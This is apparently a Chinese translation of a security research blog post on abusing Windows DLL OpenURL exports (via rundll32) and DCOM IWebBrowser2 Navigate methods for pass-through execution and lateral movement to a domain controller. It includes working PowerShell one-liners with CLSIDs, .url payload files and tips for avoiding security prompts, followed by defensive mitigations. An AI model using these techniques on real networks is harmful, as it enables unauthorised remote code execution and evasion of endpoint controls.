利用“匯出函式和DCOM介面”執行穿透指令、實現橫向滲透
背景介紹
上週三,我利用休息時間翻了翻\System32 目錄,看能否找點兒什麼。結果發現,有幾個dll 檔案匯出了相同的函式OpenURL:
想著旗開得勝,能否簡單呼叫一下呢?果然,url.dll 可以允許使用下面的命令執行HTML 應用(.hta):
rundll32.exe url.dll,OpenURL "local\path\to\harmless.hta"
rundll32.exe url.dll,OpenURLA "local\path\to\harmless.hta"
在幾個功能測試之後,我(貿然地)把這個發現發到Twitter 上。很快便收到回覆,這些回覆很有指導性,也讓我無地自容。一方面,我本應該執行更多的測試進而深入理解發生了什麼,而不是想著發到Twitter 上。另一方面,一些來自該領域的最優秀的人似乎幾分鐘就把這個問題給分好類了。非常感謝@subTee, @r0wdy_和@Hexacorn的快速分析。
簡而言之,HTA檔案是被MSHTA 呼叫的。這條Twitter (https://twitter.com/Hexacorn/status/974063407321223168)描述得很清晰:
“OpenURL/OpenURLA/FileProtocolHandler 呼叫了ShellExecute 函式,並傳入了一個引數NULL(譯者注:指的是lpOperation引數)。該函式會到登錄檔中查詢預設的處理方式,由於引數為NULL,它會依次嘗試使用“預設值、open、第一個可用的行為”。
” - @Hexacorn
使用OpenURL 執行穿透命令
如上所述,\SYSTEM32 目錄下有三個dll 都匯出了OpenURL 函式:
url.dll
ieframe.dll
shdocvw.dll (ieframe.OpenURL)
@Hexacorn寫了一篇文章描述如何呼叫ieframe.dll, shdocvw.dll和url.dll。
通過.url 檔案,可以在呼叫對應dll 時執行穿透命令:
URL樣例檔案(calc.url)內容:
[InternetShortcut]
URL=file:///c:\windows\system32\calc.exe
呼叫樣例
rundll32.exe ieframe.dll, OpenURL <本地URL 檔案路徑>
rundll32.exe url.dll, OpenURL <本地URL 檔案路徑>
rundll32.exe shdocvw.dll, OpenURL <本地URL 檔案路徑>
執行結果:
IWebBrowser2 介面的匯出函式
Shdocvw.dll 和ieframe.dll 具有一些同名函式,其中包括IWebBrowser2 介面,如下圖所示:(譯者注:使用DLL Export Viewer 開啟對應dll 時,開啟“Scan COM type libraries、Show methods、Show properties”即可檢視到。)
這就很有意思了,因為我還在其他地方看到了IWebBrowser2 介面和其他介面的類似實現——主要是DCOM 應用(譯者注:DCOM是指Distributed COM,DCOM無法通過防火牆)。
利用IWebBrowser2 介面實現DCOM橫向滲透(Lateral Movement)
下面這些DCOM 應用(也許還有更多)似乎都提供了IWebBrowser2 介面(或類似介面):
InternetExplorer.Application
ShellBrowserWindow
ShellWindows
讓我們深入分析一下……
注意:在深入之前,我強烈建議大家閱讀@enigma0x3的部落格(https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)瞭解必要的背景知識,有關DCOM橫向滲透技術、啟動許可權和防範措施等。
InternetExplorer.Application
概述——在我的測試用例中,該應用無法實現橫向滲透。然而,所使用的背景知識對於後續閱讀是很有幫助的。在上述的這篇文章(www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/)中,@Hexacorn描述了ieframe.dll 中的一個先前的漏洞(CVE-2016-3353)。通過一個特殊標記,.url 檔案可以在不彈出安全警告的情況下,直接由ShellExecuteEx執行。(注:分析該漏洞的連結也在那篇文章中)。幸運的是,該漏洞已被修復。正如IE的常規應用一樣,我們當然預期在下載或開啟一些檔案(例如,.url、.hta、.exe 等檔案)時產生安全警告(常說的,“安全性檢查”)。
當使用 iexplore.exe 例項執行測試用例時,IE safeguards 會阻止“通過DCOM 介面”執行遠端命令。
ShellBrowserWindow
@enigma0x3 的文章介紹了 ShellBrowserWindow 對外提供的 ShellExecute 方法,使用該方法執行遠端命令,實現橫向滲透。而我們則可以在繞過IE 瀏覽器安全限制的情況下,通過 IWebBrowser2 介面中的 Navigate 和 Navigate2 方法執行遠端命令。
在後續樣例中,我們將使用下面的這些 PowerShell 指令碼的變體:
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","<remote machine>"))).Navigate("<path\to\thing.extension>")
以及
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","<remote machine>"))).Navigate2("<path\to\thing.extension>")
在繼續分析之前,請注意以下內容:
“C08AFD90-F2A1-11D1-8455-00A0C91F3880” 是ShellBrowserWindow 的Class ID (CLSID)。
“9BA05972-F6A8-11CF-A442-00A0C90A8F39” 是ShellWindows 的Class ID (CLSID)。
通過DCOM 連線遠端機器需要許可權認證。這通常意味著攻擊者已經獲得了具備合適許可權(“啟動”許可權)的授權賬戶。此時,我們(攻擊者)將通過域管理員賬戶從一臺Windows 10 機器[網域成員]訪問一臺Windows 2012 Server機器[網域控制器]。
在我的環境中連線Win10 和Win2016 機器時,該方法似乎沒有效果。
後面的樣例採用PowerShell v5 的指令碼。在PowerShell v2中執行樣例,也成功了。
避免在Navigate/2 方法中使用命令開關。(譯者注:命令開關是指一些程式的引數開關,常見的開關以連字元“-”或斜線“/”開頭)
嘗試呼叫“檔案”以外的內容將彈出錯誤訊息。如果受感染的使用者賬戶已經登入到目標機器,該錯誤訊息是可見的。因此,要將那些攻擊內容包裝起來。
避免呼叫HTA(.hta)檔案,因為呼叫這些檔案將彈出安全性提示框。
避免基於HTTP/S傳遞遠端有效載荷(譯者注:payload,有效載荷,是指HTTP 協議中的具體傳輸資料)。因為這將彈出一個IE視窗,而不是去獲取資料。然而,可以使用UNC路徑(譯者注:UNC是指Universal Naming Convention,UNC路徑的語法是\\\\servername\\sharename\\directory\\)。
接下來看看這種橫向滲透的能力:
在網域成員機器上通過可執行程式(.exe)實現“橫向滲透”
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate("c:\windows\system32\calc.exe")
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate2("c:\windows\system32\calc.exe")
在網域控制器上:
通過URL檔案(.url)“橫向滲透”
URL 檔案:
[InternetShortcut]
URL=file:///c:\windows\system32\calc.exe
在網域成員機器上執行:
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate("\\acme01.acme.int\c$\calc.url")
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate2("\\acme01.acme.int\c$\calc.url")
在網域控制器上:
在Procmon 程式中,開啟stack 皮膚,可以看到一些熟悉的模組和函式。(譯者注:通過Procmon 檢視calc.exe 程式建立的事件,選擇與檔案c:\windows\system32\calc.exe 有關的事件,可以檢視到類似的視窗)
ShellWindows
與ShellBrowserWindow相似,ShellWindows也對外提供了ShellExecute方法。下面快速展示一下如何使用Navigate/2方法執行遠端命令。
本例中,使用如下PowerShell 指令碼:
$([System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","acmedc.acme.int"))).Navigate("c:\windows\system32\calc.exe")
以及
$([System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","acmedc.acme.int"))).Navigate2("c:\windows\system32\calc.exe")
執行完這些命令後,得到如下輸出:
哇!太有意思了!目前,該方法還需要更多測試,不推薦直接使用。儘管如此,這個方法還是十分優雅的。
本文簡要說明了使用“IWebBrowser2” 的 Navigate/2 DCOM 介面進行橫向滲透的方法。這些方法也許不像其他橫向滲透方法那麼靈活,但是仍然可以被RedTeam (譯者注:在軍事術語中,Red Team指的是高技能、有組織的團隊,使用任何可能的方法發動攻擊)或攻擊者使用。和往常一樣,防守者們需要留意這些攻擊方法。
這有一些小建議:
防範措施
針對穿透指令執行:
許多“穿透”指令技術都嘗試繞過終端安全和/或應用白名單。採用強安全策略。考慮採用@Oddvarmoe提供的安全策略“AppLocker Hardening Rules”(https://github.com/api0cradle/UltimateAppLockerByPassList/tree/master/AppLocker-BlockPolicies)。
通過HTA、VBS 或JS 執行的COM 指令碼攻擊很常見,也很危險。考慮修改這些應用的預設處理程式(如修改為記事本)。Adobe公司的這份指南也許有助於GPO部署(譯者注:GPO,Group PolicyObject,組策略物件)。
在企業網路環境中,使用事件日誌分析突發事件是很關鍵的。將事件提交到SIEM(譯者注:SIEM,security information and event management,是電腦保安領域的術語)進行統一監控。
針對橫向滲透:
通常,防禦方應識別@enigma0x3提供的入侵威脅指標(IOC,譯者注:Indicator of compromise,是計算機鑑識領域的術語)。同時,Philip Tsukerman 撰寫了一篇文章(https://www.cybereason.com/blog/dcom-lateral-movement-techniques),其中有很好的建議。
使用這些DCOM 方法需要對於遠端計算機的特權訪問。保護具有特權的域賬戶。避免在本地計算機賬戶上使用重複的密碼。
確保“深度防禦控制、基於主機的安全產品、主機監控”可用,以便檢測/阻止可疑活動。
檢測環境中對於PowerShell 指令碼的可疑應用。儘可能的採用受限語言模式(Constrained Language)。(注:對於特權賬戶,這也許難以實現)。
總結
感謝大家花時間閱讀本文。歡迎留言。
原文連結:
https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/
編譯:看雪翻譯小組yezhang
相關文章
- 域滲透之利用WMI來橫向滲透2024-06-24
- 內網滲透(八)橫向移不動2023-04-23內網
- 第六章-17 橫向滲透2020-12-05
- 內網滲透-橫向移動($IPC&at&schtasks)2021-05-15內網
- mysql執行函式出現1418錯誤2019-05-11MySql函式
- 「python函式:」給定一個函式,怎麼在不修改原始碼的前提下,實現函式執行前和執行後輸出2021-10-11Python函式原始碼
- python 小指令碼 (實現 elasticsearch 匯出匯入)2020-07-23Python指令碼Elasticsearch
- 技術文章 | windows橫向滲透中的令牌完整性限制2020-11-09Windows
- 用匯編實現add函式2018-09-24函式
- 透過寫入實體進行匯出2024-04-23
- Mysql滲透及提權,命令執行2024-06-21MySql
- 利用指標實現strncmp函式功能2020-12-30指標函式
- python實現橫向拼接圖片2020-04-11Python
- 前端實現Excel匯入和匯出功能2019-02-16前端Excel
- 利用 PHP 反射實現內建函式文件2020-04-24PHP反射函式
- 使用ASM框架實現統計函式執行時間2020-11-18ASM框架函式
- 利用訊號量實現執行緒順序執行2024-06-14執行緒
- Runnable介面實現多執行緒2021-01-02執行緒
- c++如何使用pthread_join函式配合pthread_create函式來建立和等待執行緒完成,實現執行緒同步與控制2024-10-15C++thread函式執行緒
- 一行程式碼實現滑鼠橫向滾動💪2024-06-17行程
- 用Map+函式式介面來實現策略模式2020-06-24函式模式
- 立即執行函式2019-01-25函式
- 自執行函式2019-06-18函式
- 7、域滲透——Pass The Hash的實現2018-06-11
- Mysql透過workbench對錶進行匯出匯入2018-03-08MySql
- c++函式模板和執行機制2024-04-19C++函式
- GitLab存在嚴重漏洞,允許透過Github匯入實現遠端命令執行2022-08-25GitlabGithub
- 兩種方式實現橫向滾動條2018-07-02
- C++關於DLL匯出模板類和模板函式2024-11-08C++函式
- JAVA基礎之5-函式式介面的實現2024-09-12Java函式
- 利用VB 指令碼實現TIA 中介面迴圈計數的功能2020-11-30指令碼
- Golang利用select和普通函式分別實現斐波那契數列2018-09-22Golang函式
- MySQL怎麼利用函式和觸發器實現非主鍵自增?2021-07-16MySql函式觸發器
- 深入理解 函式、匿名函式、自執行匿名函式2018-05-08函式
- 基於EPPlus和NPOI實現的Excel匯入匯出2021-11-16Excel
- TPLINK滲透實戰2020-08-19
- 使用Runnable介面實現執行緒的方法2018-08-05執行緒
- python函式每日一講 - exec執行函式2018-03-19Python函式